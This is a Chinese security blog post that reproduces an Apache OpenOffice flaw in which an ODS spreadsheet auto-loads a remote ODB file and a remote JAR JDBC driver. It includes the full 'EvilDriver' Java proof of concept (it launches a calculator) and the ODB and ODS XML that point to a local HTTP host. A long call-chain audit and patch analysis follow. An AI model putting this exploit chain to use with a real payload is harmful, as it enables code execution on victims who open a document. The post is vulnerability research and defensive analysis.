夜雨聆风学习资料网

ARTICLE · 1156164

Apache OpenOffice CVE-2026-59265 恶意电子表格代码执行漏洞复现

Apache OpenOffice CVE-2026-59265 恶意电子表格代码执行漏洞复现

    Apache OpenOffice 是一款历史悠久的免费开源跨平台办公套件,包含了对标微软 Office 的文字处理(Writer)、电子表格(Calc)、演示文稿(Impress)、绘图(Draw)与数据库(Base)等完整组件;它原生支持国际开放文档格式(ODF)并兼容常见微软文件格式,支持个人与商业机构完全免费使用,是 Microsoft Office 最经典的免费替代方案之一。Apache OpenOffice v4.1.16 及更早版本中 Java 集成存在代码执行漏洞,允许用户打开恶意构造的不受信任文档时触发任意代码(包括远程代码)的执行。此问题预计将在 4.1.17 版本中修复,该版本目前处于发布候选阶段。在此之前,用户可通过在“首选项”对话框中禁用 Java 运行时集成来缓解此风险,从而防止攻击。

软件下载地址

https://www.openoffice.org/download/

github仓库地址

https://github.com/apache/openoffice/

漏洞复现必备jre环境-32位jdk —— jdk8u472-b08-jre

https://github.com/adoptium/temurin8-binaries/releases/tag/jdk8u472-b08

poc参考

https://github.com/v12-security/pocs/tree/main/office_jdbc_bugs

漏洞复现

1.编译JDBC驱动


import java.sql.Connection;import java.sql.Driver;import java.sql.DriverPropertyInfo;import java.sql.SQLException;import java.util.Locale;import java.util.Properties;import java.util.concurrent.atomic.AtomicBoolean;import java.util.logging.Logger;public class EvilDriver implements Driver {    private static final AtomicBoolean calculatorOpened = new AtomicBoolean(false);    static {        openCalculator();    }    public EvilDriver() {        openCalculator();    }    private static void openCalculator() {        if (!calculatorOpened.compareAndSet(false, true)) {            return;        }        String os = System.getProperty("os.name", "").toLowerCase(Locale.ROOT);        String[] command;        if (os.contains("win")) {            command = new String[] { "calc.exe" };        } else if (os.contains("mac") || os.contains("darwin")) {            command = new String[] { "open", "-a", "Calculator" };        } else {            command = new String[] { "xcalc" };        }        try {            new ProcessBuilder(command).start();        } catch (Exception ignored) {        }    }    @Override    public Connection connect(String url, Properties info) throws SQLException {        openCalculator();        return null;    }    @Override    public boolean acceptsURL(String url) {        return true;    }    @Override    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) {        return new DriverPropertyInfo[0];    }    @Override    public int getMajorVersion() {        return 1;    }    @Override    public int getMinorVersion() {        return 0;    }    @Override    public boolean jdbcCompliant() {        return false;    }    @Override    public Logger getParentLogger() {        return Logger.getGlobal();    }}

src/EvilDriver.java实现java.sql.Driver。加载或实例化EvilDriver时,它会尝试启动计算器。

编译后生成:

hosted_artifacts\\evil-calculator-driver.jar

2.生成odb文件

利用OpenOffice 创建一个空的odb文件,之后以压缩包的形式打开

改变配置文件

<db:driver-settings db:java-driver-class="EvilDriver" db:java-classpath="jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/" <db:data-source-setting-value>EvilDriver</db:data-source-setting-value>

3.创建ods电子表格文件

同样的方式OpenOffice 创建一个空的ods文件,之后以压缩包的形式打开

<table:database-ranges>  <table:database-range    table:name="Import1"    table:target-range-address="工作表1.A3:工作表1.B8"    table:contains-header="false"    table:refresh-delay="PT1S">    <table:database-source-sql      table:database-name="http://127.0.0.1:8000/test.odb"      table:sql-statement="SELECT 1"/>  </table:database-range></table:database-ranges> </office:spreadsheet>

4.监听8000 放入资源odb和jar文件 打开ods

漏洞调用链审计——ai版

OpenOffice 4.1.16 JDBC java-classpath 源码调用链审计

范围与结论

审计对象是本地源码树 openoffice-4.1.16(Apache OpenOffice 4.1.16,标签 AOO4116-GA),针对已给出的 ODS → 外部 ODB → JDBC classpath 复现链路。本文分析既有实现,不修改源码,也不把普通 JDBC 连接失败当作漏洞。

在此调用链中,db:java-classpath 并非只作为描述性配置保存:ODB XML 导入器将它变成 JavaDriverClassPath 连接属性;数据源层会保留该受支持属性并交给 JDBC 驱动;驱动将其按空格拆成 URL,传入 Java URLClassLoader,再加载并实例化 JavaDriverClass。这条链上未见对 classpath URL scheme 的白名单或“是否允许此文档加载 Java 类”的信任决策。

风险前提包括:用户打开包含相应数据库范围的 ODS;Calc 实际执行该范围的自动刷新;外部 ODB 和 JAR 可由 OpenOffice 所在进程访问;OpenOffice 的 Java/JDBC 功能可用。以复现中的外部 HTTP ODB/JAR 为例,远端内容由文档引用,客户端随后下载并在本地 OpenOffice 进程中加载 Java 类。代码以当前 OpenOffice 进程权限运行。

调用链

ODS table:database-range (refresh-delay, database-name URL)  -> Calc XML 导入保存刷新间隔和数据库源  -> ScDocShell::RefreshDBDataHdl  -> ScDBDocFunc::DoImport 创建并执行 sdb.RowSet  -> RowSet::calcConnection 调用 DatabaseContext::getByName  -> 未注册名称按 URL 解释,DatabaseContext 加载外部 ODB  -> ODB XML 导入 JavaDriverClass / JavaDriverClassPath 设置  -> ODatabaseSource::buildLowLevelConnection 筛选设置并调用 JDBC 驱动  -> java_sql_Driver::connect / java_sql_Connection::construct  -> loadDriverFromProperties -> URLClassLoader.loadClass  -> newInstanceObject 实例化 JDBC 驱动类

关键数据流

1. ODS 的刷新属性触发 Calc 导入

main/sc/source/filter/xml/xmldrani.cxx:204-209 将 table:refresh-delay 转成秒;例如 PT1S 得到 1。EndElement() 在数据库范围有 import 参数时调用 SetRefreshDelay、设置刷新 handler 和控制对象(xmldrani.cxx:429-434)。

main/sc/source/core/tool/refreshtimer.cxx:53-60 显示非零 delay 会启动 timer;超时后调用 handler 并继续计时(refreshtimer.cxx:64-75)。Calc 的 ScDocShell::RefreshDBDataHdl 检查该范围确有 import 参数后调用 ScDBDocFunc::DoImport(main/sc/source/ui/docshell/docsh5.cxx:1010-1029)。

这说明 refresh-delay 是自动进入导入流程的触发条件;它本身不加载 Java 类,后续连接流程才是代码加载点。

2. 数据库名称 URL 从 ODS 进入 RowSet

ScDBDocFunc::DoImport 创建 com.sun.star.sdb.RowSet,把导入参数中的数据库名称写入 DataSourceName,随后执行 RowSet(main/sc/source/ui/docshell/dbdocimp.cxx:219-265,特别是 242-265)。ODS 中的 table:database-name 在 XML 导入中被保存为这个名称(main/sc/source/filter/xml/xmldrani.cxx:510-514)。

ORowSet::calcConnection 将非空 DataSourceName 传给 DatabaseContext::getByName,得到 XDataSource 后调用 getConnection(main/dbaccess/source/core/api/RowSet.cxx:2186-2225)。

ODatabaseContext::getByName 对未注册的名称走 sURL = _rName 分支,再调用 loadObjectFromURL(main/dbaccess/source/core/dataaccess/databasecontext.cxx:644-673)。loadObjectFromURL 检查 URL 是否可解析并通过 UCB Content 加载资源(334-345);创建数据库文档模型后以该 URL 加载模型(375-389)。这里没有把可加载协议限定为本地文件协议的检查。

3. ODB XML 把 db:java-classpath 映射为 JDBC 属性

main/dbaccess/source/filter/xml/xmlfilter.cxx:713、746 将 db:java-driver-class 和 db:java-classpath 分别映射到 XML token。xmlDataSource.cxx:130-132 将 driver class 映射到 JavaDriverClass;192-200 将 classpath 映射到 JavaDriverClassPath 并放入导入的属性序列。

随后 ODBFilter::setPropertyInfo 合并这些导入项与驱动默认设置,并设置数据源 Info 属性(main/dbaccess/source/filter/xml/xmlfilter.cxx:947-973)。因此外部 ODB 中的 XML 值会成为数据库数据源的连接设置,而非仅停留在 XML 文本中。

4. JDBC 属性过滤器会放行此属性

ODatabaseSource::buildLowLevelConnection 通过驱动管理器按数据库连接 URL 找到驱动,获取驱动属性信息,然后对数据源设置调用 lcl_filterDriverProperties(main/dbaccess/source/core/dataaccess/datasource.cxx:684-750)。过滤器逻辑(442-482)对已知设置要求同时满足:

  1. 数据源模型把该设置列为已知设置;

  2. JDBC 驱动通过 getPropertyInfo 声明该设置。

ODatabaseModelImpl::getDefaultDataSourceSettings 将 JavaDriverClassPath 列为已知 JDBC 设置(main/dbaccess/source/core/dataaccess/ModelImpl.cxx:1095-1100);Java JDBC 驱动则在 JDriver.cxx:131-155 声明 JavaDriverClass 与 JavaDriverClassPath。所以 classpath 项会通过过滤。过滤器的目的在于筛选该驱动支持的连接设置,不是对 classpath 内容进行安全校验。

过滤后的属性经 getConnectionWithInfo 送入 JDBC 驱动(datasource.cxx:745-765)。java_sql_Driver::connect 构造连接并调用 construct(url, info)(main/connectivity/source/drivers/jdbc/JDriver.cxx:103-118)。

5. JavaDriverClassPath 进入 URLClassLoader

java_sql_Connection::construct 从连接属性读取 JavaDriverClass 和 JavaDriverClassPath;只有 classpath 为空时才回退到本机配置的驱动路径(main/connectivity/source/drivers/jdbc/JConnection.cxx:778-810)。因此 ODB 提供的非空值优先于全局路径。

loadDriverFromProperties 在路径非空时调用 JDBC 文件内的 loadClass,把 classpath 和类名传入(JConnection.cxx:664-718)。这个 loadClass 调用 jvmaccess::ClassPath::translateToUrls,构造 java/net/URLClassLoader,再调用其 loadClass(JConnection.cxx:190-232)。加载成功后,newInstanceObject() 实例化驱动(JConnection.cxx:719-727)。Java 类初始化和驱动构造逻辑因此会在 OpenOffice 进程中执行;具体 payload 将代码放在静态初始化块还是构造函数,取决于 JAR 的实现。

java-classpath 的具体语义

main/jvmaccess/source/classpath.cxx:53-107 将字符串按空格拆分为若干 token(71),对 OpenOffice 的 ${...} 扩展 URL 做展开(73-95),然后将每个 token 原样交给 java.net.URL(String)(96-107)。随后 doLoadClass 构造 URLClassLoader(URL[]) 并调用 loadClass(128-166)。

对复现值 jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/ 而言,代码路径没有在 native 层拆解或限定 jar:、http:;它把完整字符串交给 Java URL 解析,再交给 URLClassLoader。Java 8 的 URL/URLClassLoader 支持 jar: URL 包装远端 HTTP URL,类资源按需读取,因此网络请求通常发生在加载器实际解析所需类时。若字符串中有空格,会被当作多个 classpath 项拆开;这也是 classpath 必须保持为一个无空格 URL 的原因。

注意:OpenOffice 源码这里只能证明 URL 字符串被传递到 java.net.URL / URLClassLoader,实际 HTTP 请求和 JAR 解包行为来自所使用 Java 运行时的 URL handler 实现。复现环境的 HTTP 日志可以作为运行时证据补充。

安全控制与边界

  • DatabaseContext::loadObjectFromURL 设置 MacroExecutionMode::USE_CONFIG(databasecontext.cxx:382-389)。这是 ODB 文档加载时的宏执行策略参数;在上述 JavaDriverClassPath → URLClassLoader 调用链中,未见它被用来授权或拒绝 JDBC Java 类加载。

  • ODB 加载时传入 InteractionHandler,RowSet 也能使用连接交互 handler(RowSet.cxx:2201-2210)。这些交互用于加载/连接或认证场景;在检查的代码路径中未发现“该文档是否可信/是否允许执行其 JDBC 驱动类”的专门确认。

  • JDBC 属性过滤器只核对属性名是否已知且由驱动声明支持;没有检查属性值的 scheme、来源或信任级别。

  • jvmaccess::ClassPath 对 URL 做 OpenOffice 宏 URL 展开,但在此处未见协议 allowlist;随后直接构造 Java URL 与 URLClassLoader。

  • 这些结论限定于 4.1.16 中本次追踪的 ODS/ODB/JDBC 路径,不等同于证明整个代码库所有组件均不存在其他策略或控制。

复现字段与源码位置对应

复现内容源码中的承接点含义
ODS table:refresh-delay="PT1S"xmldrani.cxx:204-209, 429-434; refreshtimer.cxx:53-75设置并启动数据库范围刷新 timer
ODS table:database-name="http://.../poc-calculator.odb"xmldrani.cxx:510-514; dbdocimp.cxx:242-265URL 变为 RowSet 的 DataSourceName 并触发执行
外部 ODB URLRowSet.cxx:2186-2225; databasecontext.cxx:644-673, 334-389按名称查询数据源;未注册时作为 URL 加载 ODB
ODB db:java-driver-class="EvilDriver"xmlDataSource.cxx:130-132; JConnection.cxx:796-810变为并读取 JavaDriverClass
ODB db:java-classpath="jar:http://...!/"xmlDataSource.cxx:192-200; datasource.cxx:442-482, 745-765; JConnection.cxx:796-810变为 JDBC 属性、通过过滤并送到驱动
远程 JAR / 驱动类classpath.cxx:53-107, 128-166; JConnection.cxx:664-727URL → URLClassLoader → 加载并实例化类

源码级修复方向

  1. 在 JDBC 驱动加载边界处理不可信来源:不要默认允许由外部文档提供的 classpath 触发 Java 类加载;引入与文档信任/用户选择相连的明确授权。

  2. 对 classpath URL 做协议策略校验,并默认拒绝网络来源;不能只校验 java-classpath 是否为非空字符串。若保留远程扩展能力,应有单独的显式信任机制。

  3. 在自动刷新导入前增加对外部 ODB 数据源的安全确认或安全策略,并确保不因 timer/RowSet 隐式执行而绕过同一授权。

  4. 回归验证应覆盖:HTTP/JAR URL、jar:http 包装 URL、不同 URL scheme、以空格分隔的多个 classpath 项、本地已安装 JDBC 驱动,以及 Java 未启用时的失败路径。

以上是修复建议,不是对 4.1.17 实际补丁的描述;本次只审计了 4.1.16 源码。

官方补丁体现的修复思路

用户提供的两个官方提交分别是:

  • 95923fd437e06edd38a4f0e139a27c755a6f3ba6:Reject further invalid URLs

  • c699bed3f75e79bd64ddec9dec49f9e210eed281:Additional check

两个补丁分别落在不同的安全边界,形成纵深防御。

1. 在 Java 类路径转换边界只允许本地来源

第一个补丁修改 main/jvmaccess/source/classpath.cxx,新增 isLocalClassPathUrl。允许的前缀为:

file:jrt:jmod:jar:file:jar:jrt:jar:jmod:

检查使用大小写不敏感的前缀匹配。通过检查的 URL 才会继续构造 java.net.URL;不通过的 URL 会记录 trace 并跳过:

classpath token  -> 展开 OpenOffice URL  -> isLocalClassPathUrl       -> 允许:加入 URL 数组       -> 拒绝:记录并跳过  -> URLClassLoader(URL[])

因此 PoC 中的:

jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/

不匹配任何允许前缀,会在 java.net.URL 对象创建之前被跳过,不能再通过该路径让 URLClassLoader 访问 HTTP JAR。jar:file: 仍被保留,是为了支持本地 JAR;jrt: 和 jmod: 对应 JVM 镜像/模块资源。

该补丁的特点是保留 JDBC 的本地驱动扩展能力,同时阻断网络类路径。它没有移除 JavaDriverClass、JavaDriverClassPath 属性,也没有禁止 JDBC;保护点位于“字符串即将进入 Java URL/类加载器”的最后边界。

补丁注释还要求 Java 侧的 com.sun.star.comp.sdbc.Tools 使用同一白名单。这表示官方意图是让 native 层和 Java 层采用一致策略,避免只修一条实现路径。4.1.16 源码中尚未看到该新增白名单,补丁本身是后续版本的变更。

需要注意,这个补丁主要阻断“远程 JAR 类加载”,并不阻止 Calc 先读取外部 ODB;因此它不能单独提供外部链接授权语义。

2. 在 Calc 数据库导入入口请求外部链接授权

第二个补丁修改 main/sc/source/ui/docshell/dbdocimp.cxx 的 ScDBDocFunc::DoImport。在创建 RowSet、进入 DatabaseContext 之前,新增:

  1. 用 INetURLObject 判断 rParam.aDBName 是否是可解析 URL;

  2. 从当前 Calc 文档模型查询 com.sun.star.document.XLinkAuthorizer;

  3. 调用 authorizeLinks(rParam.aDBName);

  4. 授权失败时立即返回 sal_False。

调用顺序变为:

数据库范围刷新  -> ScDBDocFunc::DoImport  -> 数据库名称是 URL?       -> 否:继续原流程       -> 是:XLinkAuthorizer 授权              -> 拒绝:直接停止,不创建/执行 RowSet              -> 允许:继续读取外部 ODB

这里的保护点比 DatabaseContext::loadObjectFromURL 更早,能够在外部 ODB 被打开、ODB 属性被导入、JDBC 驱动被查找之前阻断链路。它也覆盖自动刷新,因为自动刷新最终同样进入 DoImport。

3. 授权行为来自 Calc 现有的链接策略

4.1.16 已有 ScModelObj::authorizeLinks 实现(main/sc/source/ui/unoobj/docuno.cxx:1312-1335),第二个补丁只是把它接入数据库导入入口。现有逻辑是:

  • urlIsVendor 命中的内部/供应商 URL 拒绝;

  • urlIsSafe 命中的安全 URL 直接允许;

  • 其他 URL 交给 LinkManager::GetUserAllowsLinkUpdate;

  • GetUserAllowsLinkUpdate 弹出一次“是否更新链接”的确认框,默认按钮为 No(main/sfx2/source/appl/linkmgr2.cxx:299-309)。

LinkManager::urlIsSafe 对 URL 解析后要求没有 path 和 server(linkmgr2.cxx:547-576),因此普通 http://127.0.0.1:8000/... 不属于无提示安全 URL,通常会进入用户授权分支。用户拒绝时,第二个补丁在 DoImport 返回失败,后续不会到达 RowSet/ODB/JDBC 路径。

4. 两个补丁的关系

两者不是重复修复:

防线位置阻断对象用户体验
链接授权Calc DoImport 入口外部数据库源 URL 的自动读取对外部链接请求用户确认,拒绝则停止导入
类路径白名单jvmaccess::ClassPath::doTranslateToUrls非本地 JAR/URL classpath允许本地驱动,跳过网络 classpath

即使用户允许读取外部 ODB,第一份补丁仍会阻止 jar:http:;即使某个调用路径绕过了 Calc 入口,类加载边界的白名单仍能阻止网络 JAR。反过来,仅有第一份补丁时,远程 ODB 仍可能被读取并触发其他外部资源行为;仅有第二份补丁时,打开文档仍可能无提示访问外部 ODB。官方选择同时修复,分别控制“读取外部链接”和“执行外部 Java 类”两个不同动作。

5. 对本次 PoC 的直接影响

对 onefile-dbrange-http.ods:

  1. 打开后数据库范围刷新进入 DoImport;

  2. http://127.0.0.1:8000/poc-calculator.odb 被识别为外部 URL;

  3. 用户拒绝链接授权时,流程在 DoImport 返回,通常不会请求 ODB/JAR;

  4. 用户允许链接授权时,外部 ODB 可以继续加载,但其 jar:http classpath 会在 classpath.cxx 被跳过;

  5. 因此 EvilDriver 不再从该远程 JAR 被加载和实例化。

官方修复的核心不是把 java-classpath XML 标签删除,而是:

在外部资源读取处要求文档链接授权,在 Java 类加载处只接受本地类路径;把网络数据访问和可执行 Java 类加载拆成两个独立的安全决策点。

参考

https://github.com/apache/openoffice/commit/95923fd437e06edd38a4f0e139a27c755a6f3ba6.patch

https://github.com/apache/openoffice/commit/c699bed3f75e79bd64ddec9dec49f9e210eed281.patch

相关学习资料